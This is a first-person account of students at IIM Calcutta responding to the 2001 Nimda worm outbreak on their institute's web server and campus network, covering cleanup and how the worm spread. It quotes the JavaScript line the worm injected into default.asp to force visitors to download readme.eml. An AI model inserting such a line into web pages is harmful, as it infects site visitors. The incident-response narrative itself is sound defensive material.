When Things suddenly went wrong: w32.nimda.a@mm
Response by Amateurs
Topic: Experience, Computers

This is an unofficial description of the 18 September attack by the Nimda Virus on the official website of Indian Institute of Management, Calcutta, and the subsequent response by the students to control and prevent damage. This is also an account of my involvement in the same and the various lessons learnt which I want to share with all. I for one have no idea about any rules I am breaking here, but I dont intend at all to find out.

In this section QuaxWrite home Dune by Frank Herbert Dune - the series, #1: Dune, Terms of Dune Article: Travelogue: Rajasthan road trip, The Philosophy of the Free & Open, First Look at GMail, w32.nimda.a@mm, The business of OSS, User Friendly? Opinion: The gig for the Gigabyte, Do you need Linux?, Why I dont trust M$, M$ has no alternative Fiction: The Purse, Alice Technical Papers: Analysis & Design of RC Chimneys my B.Tech project, Using WADIWRK4. In this site Contact me here. Feedback form.

My primary thoughts at the time the first alarm came over was to complete my submission in time, that was a comfortable two days away. Was working on the VB project, with Megadeth having complete access to all my eardrums when my neighbour popped into the room saying another guy Vipul was trying to contact me. I quickly start this simple utility that allows you to talk across a TCP/IP network and buzzed him. His response was incomprehensible in the sense that he was talking about a million things that I believed did not exist. Word did finally filter in that I was to log on to the website of IIM Cal.

The moment I logged onto the site I knew something was wrong. The had left it safe and sound about two hours ago. And now all of a sudden as soon as the page came up, another window was opening, that did not have a HTML file and was requesting download of one "readme.eml" file. I knew eml files related to the format in which Outlook saves the mails. Initially I wanted to connect the download request to the fact that I was running Outlook at that time, and that may be it was trying to save some mail.

All such ideas vanished into thin air as the second page that loaded also resulted in the download of the same "readme.eml" that opened using another window. My first thought was that the site was hacked or was under attack by a hacker. It was sheer helplessness of the situation combined with a streak of recklessness that caused me to save the file and open it. Outlook promptly opened the file and informed that there was a "readme.exe" that was attachment of the message, and asked me to save the attachment.

The word 'attachment' caused a variety of alarms bells to go off in unision. Firstly that looked like a virus, and then it came from a website and not a mail. All I knew at that point almost made me believe that a hacker was mailing all the guys accessing the site, though it made as little sense to me then as it does now. In addition I had read in the morning about another varient of the 'code red' virus that was reported ready to start damage. This confusion made one thing clear, I had to be there at the server. I called up Vipul, screamed at everyone who was sitting in my room to clear orf and hurried to the main server room.

Why I was spared

Just pure luck and a little more luck. Was this a few days earlier, I would probably be spending this time at the websites of Symantec and Mcafee waiting for updates on what the virus could do to my computer. As things happenned I did something that i hated and that saved the day for me. A few days ago, my computer was unceremoniously powered off a number of times by the Electricity corporation of West Bengal and I was forced to reinstall Windows. The lucky part here was that this downgraded my Internet Explorer from the newer 5.5 version to the default 5 version that came bundled with Win98. Just why this was a boon in disguise, we shall see when we look at the modus operandi of the virus.

The Server room

I was greeted at the server room by a very slow main server. It took more than 2 minutes just to give me the authentication screen. And all the while I could see the tremendous thrashing of the hard drive. I was sorely tempted to swith off the machine and get it offline so that I could safely start it up and see what damage had been done. But again I was not exactly on intimate terms with the NT machine, and did not really know what the consequences would have been with such a lot of activity going on. If it were a Linux box I would not have switched it off, and decided to give this one too the same treatment.

By the time I finally got to the Shell, there was no one there. The Explorer dying intermittently and Dr.Watson was all over the place. Then for the first time, and maybe the last time, I got a glimpse into the reasons why NT was not just 9X repackaged - the Task manager. Quickly I brought it up and killed off the erring Explorer and all the goody Dr.Watsons. Switching to the process list I was stunned to see dozens of processes 'net' running. Last I knew none ought to be there at all. And all the while the harddisk was not being given even a second of rest and the whole system was sluggish to say the least. In the next few minutes I slaughtered as many of the unnecessary processes as I could lay my mouse on and when I found the machine a tad more responsive, sent it for a shutdown. Amidst screaming new processes the server went down.

Once I had the server down, there was a sense of peace. Atleast no further damage could be done. But god only knew what damage it had already done. I was almost convinced that the whole thing was a hack of somekind, given the many 'net' processes and my ignorance. Yanking off the cable I decided to start the machine in 'dos' mode or something that would atleast give me some control without exposing me to unnecessary risks. Okay the NT does not have a dos mode, but atleast I tried. Got it into a VGA mode, that was not even a safe mode, I started to look around. Ofcourse deal old Explorer and Dr.Watson were up to the same ol antics before I killed each in turn and finally got a stable Explorer as long as no one asked it start a new process by, say, double clicking on an icon.

When I got to the root of the website and opened the default.asp I found that very wonderful line I would learn by heart.
<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no, top=6000, left=6000")</script></html>
What this did was pretty obvious even to me. Minus all the hoopla, this just downloaded the file "readme.eml" into the computers of anyone who happenned to load this page, that included me, Vipul and others. And I saw the readme.emls strewn all over the place. A quick check showed that all the first files in all the subdirectories too were similarly changed and the readme.eml was present in all of them too.

Truth tried to dawn onto me that this was probably not a hacker but another kind of attack all together. Or even if it were a hack someone had to run a script to this kind of work, otherwise we would have a really dumb hacker. And I realised that I needed help, and shut down the machine.

Trying to find help, my worst fears came true. Computers were behaving strangely, MS Word was not saving, and some others went down completely. "Oh yeah, I did double click on that readme letter, and now it says some of that 'OK' 'Details>>' thing frequently." "I ran a live update yesterday and norton does not detect any viruses" "Everytime I reboot things are becoming more and more painful". I had shut down the machine and still did not find any of the seniors who had more experience with the server. Sometime around this time, handwritten notes were put up asking everyone not to click on any files that said readme and looked like a letter.

What the hell is it?

Back alone in the server room I restarted the server and this time it was tougher controlling Explorer and its buddy Dr.Watson. Finally I killed both of them and started browsing using the dos shell. Then spent time figuring out where the actual executables of the various programs in the Start menu were and started all the monitors and the mmc that I needed. Then another crack down on the various processes I felt were unnecessary and shutdown all the http and ftp servers. Now I needed more information.

A quick look at the setup we have in IIM Calcutta. We have an intranet of about 400 student machines and more including those of the professors. All are connected to the Internet through two proxies. The main web server is not connected to the internal network directly. Apart from the two proxies there was a third machine running Linux (RH 7.1) that also had two cards. This machine was currently being used as a temporary pilot server and was in the same room as the main webserver. This formed the hub of most of the activity in getting the server repaired and up in the next 35 hours. Presently I used the same on the websites of Norton and Mcafee and of no avail. Further browsing by Vipul too yielded the same result - nothing on this, yet.

In time we assembled the team that was going to be responsible for the task of not only getting up the main server but also getting the entire extranet rid of the virus. With the assembly came experience and more ideas. A look at the creation time revealed a lot of stuff. The readme.eml was created at 6:55 p.m. This was the time when the first of the default.asp files were last modified. And Vipul's call to me was about an hour later. So the webserver was online for a whole hour with the virus doing whatever it was supposed to do. We also found that all files that were default*.* and index*.* were modified, and done so over a period of 6-7 minutes starting 6:55 p.m., pointing to an external agent getting control of the main file system. No script run in the same machine would take so long. Also files totally orphaned from the website (like indexold.asp) were also affected. All fingers now pointed to an infection through the IIS web server ala Code Red.

With no further word from the antivirus sites (so we thought) and a pathetically crippled system, most of us realised that this was not going to be a quick delete, change password recovery. Also reports were trickiling in that the virus was going rampant inside the extranet. All drives were being put on active share and machine on the network with any sort of write permissions were being promptly written into. Looking at the way the payload was working things needed to be isolated. So all the routers in the student section were switched off and the student section went offline.

It was already late in the night and there was still no word from the anti-virus sites. We caught hold of a machine brought over the readme.eml file and ran checks on it with all the latest antivirus available. None found anything wrong with it unlike the users in scores of machines scattered across our now defunct network. Then I got probably the last brain wave before my brain decided to take a holiday for the period - slashdot. And sure enough it was the third article posted a long time back, with links. Now we had a name, nay two, nimda and minda. And things were checking out and the worst fears were out in black and white. Even though it was quite late in the night, arond 2:00 a.m. and there was one update posted by McAfee and none by Symantec. Our extranet ran on Norton and so things did not look any better. We decided to keep the routers down and the site offline till further notice. Now came the damage control exercise.

Damage Control

As is the case with any other network, the first need was to assure the populace that the steps taken were not to deprive them of the network usage but to protect them. Official notices went out that detailed what had happenned and what could be done. Also a temporary deadline of 10 a.m. was put for further action. There was additional control to be done. With any campus as dependant as ours on the network, things suddenly grind to a halt, and communication suffers greatly when the network goes offline. The summer placement process came to a halt. Rumours were rampant with many quotes attiributed to a lot of us. Most had to countered and the account put straight. Then of course we had to assure all those who were infected that things would be fine and tommorrow would be a better day.

'Tommorrow', just a few hours later, was not a better day. The Mcafee update proved to be unfruitful. That after uninstalling Norton from a number of affected machines, installing Mcafee, updating it and running system wide scans and deleting many of the affected files.

Almost 14 hours into the attack and we were still at square one. The deadline for keeping the routers down was extended to 6:00 p.m. that evening and more notices were printed. Norton was quiet and we had to wait. But in the mean time things did get better, as more and more information was available and we also got some cleaning into effect. The main advantage we had was the Linux machine on the network. And so things were in action again.

The last backups we had of the entire website were out of date. So we got the infected site zipped up and ftped over into the Linux maching. Similar fate met the database. Also went copies of the readme.eml file and the readme.exe file.

Information and Modus operandi

Strings on the executable was very informative. Strings program basically looks through the entire file and prints out the ascii strings embedded in it. for example if you write a program that prints "Hello World" and made it into an executable, then strings on the executable would print out this string amongst others. Some exerpts of what we found are given here. Dont worry about understanding all of it. Maybe those people at the other side of some of the links on this page do. Just look around and marvel and the Concept Virus.

Most of what we found was validated by the others in the bussiness. You may also see other informations sources by browsing through the many links given in this page.

Now a quick breakdown on how the virus spreads. And since no one really knows what it 'does'. apart from spreading that is, we shall not talk about that. Most of this infoamation was culled from the various sources available at that time and from the experience which we had. Most of the links on this page have more information, but that does not take away from that fact that this information was crucial for us at that time.

Nimda has three methods of propagation, all of which were visible in our setup. The first is the IIS vulnaribility. This is the method that was used by the Code Red too. Infected servers randomly search for other servers running IIS and they are attacked. Some attack sequences that took place in vain on our Linux server are here. After the attack the host is forced to run scripts that updates the index*.* and default*.* files on their servers with the javascript string and also copies the readme.pl into the sub directories. With this the infection of the host is complete. Of course the worm also takes protection against detection and removal in the host machine. Once infected the IIS servers are primarily involved in infecting other servers. Our webserver first attacked the Linux server at 7:56 p.m. after being infected itself at 6:55 p.m. Since neither knew about the other, and assuming the initial choosing is done randomly, this is the average time for the infected server to find another one in the same ip range.

The second and third modes of transmission occur on the Client machines, after they are infected. Client machines are infected when they visit any site that has been visited by Nimda. A new popup javasript window opens that downloads and opens directly without user intervention, the readme.eml file. This auto execute feature is a security bug in IE5.5 which was what was missing in my copy of IE5 and consequently saved my machine. Once the readme.exe is executed, which may not need you to double click on it, the wily program is inside and it does take a long time to clear out. More information is available on what it does all over the Web. Click on the several links that are in the "related linx" section at the head of the page.

The second mode is mass mailing. The worm comes with its own mailing engine. It uses MAPI to find addresses and mail itself to all your contacts. The the cycle repeats itself in the other machine.

The third method is infection across the local network through Microsoft file sharing. It searches for writable shared folders and dumps copies of itself into them.

The long trudge back to normalcy

Back to the story. It was after noon and there were no cleaning tools in sight. We had volunteers hitting the F5 refresh button every few minutes on all the major anti-virus sites. At the same time we started looking at other methods of cleaning. We had taken a zip of the entire site and moved it into the Linux machine earlier. Now we unzipped the whole site and started seeing what needed to be done if we were to have a clean version of the site ready for install. We put together a quick script that cleaned all the download lines in the affected asp and html files. You may see the script here. Then a single statement with find, deleted all the readme's from the entire site. Followed that up with a tar -cvzf and voila we had a clean version of the site to deploy - only no webserver.

Our prayers were soon to be answered. Symantec did come out with the update, and we were back in action, on the main server. Hours of downloads and reinstallation of Norton antivirus revealed that most of the new-found enthusiasm was in error. The patches for Code Red were not properly installed and there were other updates to be done before the cleaning was to succeed. The next few hours was spent in cycles of search/locate/download-into-linux-server/ftp-to-main-server/path-and-update.

In the mean time we used the machine which had a controlled copy of the worm to cause infection and then clean with the Antivirus. This confirmed that the update might indeed work on workstations, though at that time it was highly ineffective on servers. Also our 6:00 p.m. deadline was upon us and we had to stretch it over to 10:00 p.m. in the night. But now we had the antivirus and also information on the propagation of the virus. Notices went out on the need to remove all file sharing from all the computers, infected or otherwise. Also a drill to be followed by all users at 10:00 p.m. when the network came back online, was developed and the steps put in all the notice boards and the leaflets were distributed. In the meantime, volunteers went out armed with three diskettes containing the updates, to all the critical computer installations in the campus to clean them and secure them before the 10:00 p.m. deadline.

The struggle in the server room was in full swing. By the time most of the patches were in place (there was one we missed and would now know till much later) the server must have rebooted a billion times. Finally the virus scan was in place and we realised how lucky we were to have created a clean copy of the site ready for deployment. Norton was deleting all the files that it could not clean, and that included most of the startup pages in the website, and all of its sections. Letting the scan run completely, and many times we were quite sure that we were clean.

The 10:00 p.m. deadline came and the routers went online. The net-starved IIM Calcutta community immediately came online. To make it easy for the users, and also to provide an alternative till the main webserver came up, the Linux box mirrored all the updates, and information about the process of cleaning the computer.

The day crossed over into the next, and at 12:00 a.m. the site zip was in place and file copy was in progress. By around 1:00 a.m. the site tentatively came live, minus the cable connecting it to the network. after browsing a while and making sure that the site was indeed the way it was, we went live.

By 2:00 a.m. we were back offline and deleting the admin.dll that had tftp'ed itself into the temp folder. Frantic searching located yet another patch. Now the server did hold but we did not have the energy to keep monitoring it or the guts to keep it online without supervision. So the server went offline and we went to bed.

The next morning came minus me. I was back with Megadeth at full blast trying to complete my Project in time that suddenly had 40 hours less, which was brutally stopped when that fateful message from Vipul came. But the news is that the server is holding and doing well, and all deadlines are back in action. Of course a number of client machines are still infected and need to be cleaned. But so far we have not had a single report of late or cross infection.

(Of course we got a 12 hour extension on the project submission and mine did go well in time. Thanks for asking anyway)